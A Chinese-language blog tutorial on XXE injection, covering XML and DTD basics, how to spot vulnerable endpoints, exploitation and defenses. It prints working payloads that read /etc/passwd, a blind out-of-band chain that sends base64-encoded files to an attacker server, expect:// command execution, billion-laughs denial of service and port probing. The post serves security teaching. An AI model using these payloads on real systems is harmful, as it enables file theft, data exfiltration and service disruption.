说说XXE漏洞那些事
想不起来写点啥了,又是摸鱼的一天,看了一些红队大佬们整理的资料,非常精彩,于是一个咸鱼翻身先选了一些简单的小点来写一写个人的感想(后续会继续更新其他内容)
不能说写的是技术分享,因为师傅们的文章珠玉在前,也都不是什么新东西,就说说个人的理解,争取能清晰明了地表达出来想说的内容

今天从XXE开始,虽然XXE并不常见(个人感觉),但还是有一讲的必要
0x01 前言
XXE(XML External Entity Injection)全称为XML外部实体注入,这里强调的概念是“外部实体”与“XML”
要想完全说明这个漏洞,有必要先理清楚这两个概念
先说第一个概念:什么是XML?
这个。。。都知道,不需要我多说,指的是可扩展标记语言(EXtensible Markup Language),用来传输和存储数据,是一种允许用户对自己的标记语言进行定义的源语言
XML有自己的结构,包括:XML声明、DTD文档类型定义(可选)、文档元素
例如:

再说第二个概念:什么是外部实体?
说实体之前,要先说DTD
如上图所示,xml的格式规范由DTD(document type definition)控制
DTD可以像图片那样嵌入在XML中(内部声明,格式为 <!DOCTYPE 根元素 [元素声明]>)
例如:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
也可以独立的放在另外一个单独的文件中(外部引用,格式为 <!DOCTYPE 根元素 SYSTEM "文件名">) (也可以结合使用如:<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>)
例如:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
其中存在
PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换
CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
上面例子中的都是PCDATA的,而且都用了ELEMENT元素的声明
这里有很多人说得不清楚(关于DTD,可以参考详细的教程:https://www.w3cschool.cn/dtd/dtd-elements.html)
事实上,DTD可以有元素(ELEMENT)、有属性(ATTLIST)、有实体(ENTITY),这个实体就是我们着重要说的地方,另外两个就不展开了
这是一个DTD中的元素声明<!ELEMENT from (#PCDATA)>
这是一个DTD中的属性声明<!ATTLIST payment type CDATA "check">
这是一个DTD中的实体声明<!ENTITY king "Donald Trump">
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
按照使用方式分类可以分为:内部(声明)实体与外部(引用)实体
内部实体(<!ENTITY 实体名称 "实体的值">)参考:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
]>
<test>&writer;</test>
外部实体(<!ENTITY 实体名称 SYSTEM "URI/URL">或<!ENTITY 实体名称 PUBLIC "public_ID" "URI">)参考:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<author>&file;</author>
(现在可以回答上前文的内容了,什么是外部实体?这就是外部实体)
外部实体支持的协议根据程序不同而不同(下图仅供参考。。。)

或者
根据实体有无参,分成通用实体与参数实体
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
例如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
(1)使用 % 实体名(这里面有一个空格不能缺) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
总结一下,就是
参数实体用% 实体名称声明,引用时也用%实体名称
其余实体直接用实体名称声明,引用时用&实体名称
参数实体只能在DTD中声明,在DTD中引用
其余实体只能在DTD中声明,可在xml中引用
至此,有关XXE漏洞的全部前言基础知识部分说完了
至于其他的,为了精简,就不在这次的讨论范围中了
0x02发现&原理
那么什么是XXE漏洞,或者说XXE漏洞的本质是什么?
正如前文所说,XXE(XML External Entity Injection)全称为XML外部实体注入
它发生在应用程序解析XML 输入时,没有禁止对外部实体的加载,导致加载了恶意的外部文件与代码,造成了任意文件读取、命令执行、内网端口探测、攻击内网等危害
本质和所有漏洞产生的本质一样,未对用户的恶意输入进行检测而直接带入并进行了操作
那XXE漏洞发生在哪呢?
因为是基于XML的漏洞,所以数据交互过程中是一定存在XML解析的
比如最简单的,抓包发现传的数据是XML格式的,且返回包能正常返回数据,说明服务端代码可以支持XML解析
我把这个XML格式的数据改成恶意的引用外部实体的数据,看返回包是不是也一块解析了?如果是,这就是一个经典的XXE
正常的数据包
POST /xxxxx HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: xxxxxxx
Accept-Language: en-US,en;q=0.5
Referer: https://xxx.com/xxx.html
Content-Type: application/xml
Content-Length: xxx
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1 <?xml version="1.0"?>
<catalog>
<core id="123">
<author>lcx</author>
<description>XML</description>
</core>
</catalog>
修改后的数据包
POST /xxxxx HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: xxxxxxx
Accept-Language: en-US,en;q=0.5
Referer: https://xxx.com/xxx.html
Content-Type: application/xml
Content-Length: xxx
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1 <?xml version="1.0"?>
<!DOCTYPE xxx [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="123">
<author>lcx</author>
<description>&xxe;</description>
</core>
</catalog>
如果存在XXE,那么就会从返回包中看到/etc/passwd中的内容
上面举的例子中,Content-Type是application/xml
现在json格式可能多一些,Content-Type是application/json
那是不是可以考虑把Content-Type改成application/xml试试呢?万一呢
原来
POST /xxx HTTP/1.1
Host: xxxxx.com
Accept: application/json
Content-Type: application/json
Content-Length: xxx {"search":"name","value":"123"}
尝试
POST /xxx HTTP/1.1
Host: xxxxx.com
Accept: application/json
Content-Type: application/xml
Content-Length: xxx {"search":"name","value":"123"}
xxe攻击
POST /xxx HTTP/1.1
Host: xxxxx.com
Accept: application/json
Content-Type: application/xml
Content-Length: xxx <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
看返回包读取/etc/password
虽然可能性不大,但是可以试试
但是很多情况下,很不幸是没有回显的,我们无法通过返回包直接看到我们想看到的东西,比如看不到返回包里有/etc/passwd的结果
这就属于blind XXE了,这个问题留到下一小点利用的时候讨论
0x03利用
现在说说XXE究竟能干点啥,有多大能耐,有什么利用姿势?
1.文件读取
有回显的文件读取,上一小点已经说过,最基本的利用自不必说
可以解决一下上一小点结尾处的问题,没有回显或者回显报错怎么办?
答:可以采用OOB带外数据传输(话说与Blind相关的利用,万物皆可OOB,遇事不决OOB)
首先补充一个学到的小知识(详细参考文末参考链接)
如果想要读取的文件充满了符号,像这样乱七八糟的

正常读取可能会报错
学习大佬的经验,采用之前一直没提过的CDATA、参数实体来绕过
例如
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
evil.dtd中
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
说回 无回显读取
还是借助大佬的例子说明
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
注意几个问题
(1)例子中连续调用三个实体%remote;%int;%send; ,是先通过%remote;调用test.dtd,再通过%int;调用test.dtd中的%file;,%file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send ,再调用 %send; 把读取到的数据发送到远程 vps 上,实现了带外数据的效果
(2)%为%的HTML实体编码,实体中不要有%
然后我在VPS上nc -lvvp 9999 监听,会收到base64编码后的敏感文件test.txt的内容信息
实际上blind XXE还有很多写法,上面的例子只是其中一种
比如还有这么用的
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://ip/test.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
test.dtd
<!ENTITY b SYSTEM "file:///etc/passwd">
2.命令执行
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
实际上。。。额,只能说罕见
3.Dos
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
有名的billion laughs attack,用到了递归引用
4.内网端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
可以改变端口号来探测端口开放情况
常见的利用就说这些了
还有一些不常见的利用方式可以参考文末参考链接
0x04 防御
1.禁用外部实体方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.黑名单过滤
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
参考文章:
https://xz.aliyun.com/t/3357
https://www.cnblogs.com/zhaijiahui/p/9147595.html
https://xz.aliyun.com/t/6887
https://www.cnblogs.com/r00tuser/p/7255939.html
未经允许,禁止转载
说说XXE漏洞那些事的更多相关文章
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- 一道CTF针对XXE漏洞的练习
题目链接:http://web.jarvisoj.com:9882/ 目的很明确获取/home/ctf/flag.txt的内容 一般读取目标机的本地文件都会用到file协议. 思路: 那么思路一:文件 ...
- 关于XXE漏洞
XXE漏洞 0x01.xxe是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 1.1xml定义 XML用于标记电子文件使其具有结构性的标记 ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
- xxe漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...
- ASP.NET微信支付XXE漏洞修复
1. XXE场景 关于XML解析存在的安全问题指引 微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件 ...
- java中xxe漏洞修复方法
java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...
- [Web安全] XXE漏洞攻防学习(上)
0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...
- [Web安全] XXE漏洞攻防学习(中)
0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...
随机推荐
- 简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...
- Java | 字符串缓冲区(StringBuilder)
为什么要出现字符缓冲区 我们都知道,String类是不可变的,但是有的时候,我们要用到字符串的拼接,如果拼接的数量小的时候,还可以,但是如果拼接的数据量太大的话,内存的占用就太大了,所以这个时候再用S ...
- FTP服务—三种登录类型的配置方法
目录 一.部署 二.配置vsftpd 1.匿名用户登录配置 2.系统用户登录配置 3.虚拟用户登录配置 1. 创建虚拟用户名单文件 2. 生成虚拟用户口令认证文件 3. 创建FTP根目录及虚拟用户映射 ...
- Servlet核心技术
一.基本概念 1.C/S C/S架构是客户端服务器架构,将需要处理的业务合理的分配到客户端和服务器,客户端负责与用户的交互任务,服务器负责数据管理. 优点: 客户端界面和功能可以很丰富 应用服务器负荷 ...
- [TJOI2007]书架 题解
文中给了你一些句子,以及让你任意插入某个位置以及查询某个位置的句子. 发现因为是句子很难搞,所以开个 map 离散一下成数字.然后在额外开一个 map 记录这个数字对应的句子. 然后你要写一种支持插入 ...
- 公钥-私钥 白名单-黑名单 Linux 远程访问及控制(SSH)
远程访问及控制一.SSH远程管理二.OpenSSH服务器① SSH (Secure Shell)协议② OpenSSH三.配置OpenSSH服务器举例四.sshd 服务支持两种验证方式五.使用SSH客 ...
- matlab——插值与拟合
@ 目录 前言 一.拟合 1.定义 2.三种判别准则 3.最小二乘法 (1)一般形式 (2)常用函数 (3)matlab实现 二.插值 1.定义 2.方法 (1)分段线性插值 (2)拉格朗日插值多项式 ...
- P5350 序列
P5350 序列 题意 维护一个序列,支持区间求和.赋值.加值.复制.交换.翻转操作,其中交换和复制操作保证两段区间长度相等且不交.答案对 \(1e9+7\) 取模. 思路 对于区间求和.赋值.加值. ...
- Linux中tomcat随服务器自启动的设置方法
1. cd到rc.local文件所在目录,一般在 /etc/rc.d/目录. 2. 将rc.local下载到本地windows系统中. 3. 编辑rc.local,将要启动的tomcat /bin/ ...
- 犀牛Rhino 7.0中文版安装破解教程
犀牛Rhino 7.0中文版是一款专业的.功能强大的三维建模软件,利用它可以创建.编辑.分析.提供.渲染.动画与转换NURBS线条.曲面.实体与多边形网格:它能轻易整合3DS MAX 与Softima ...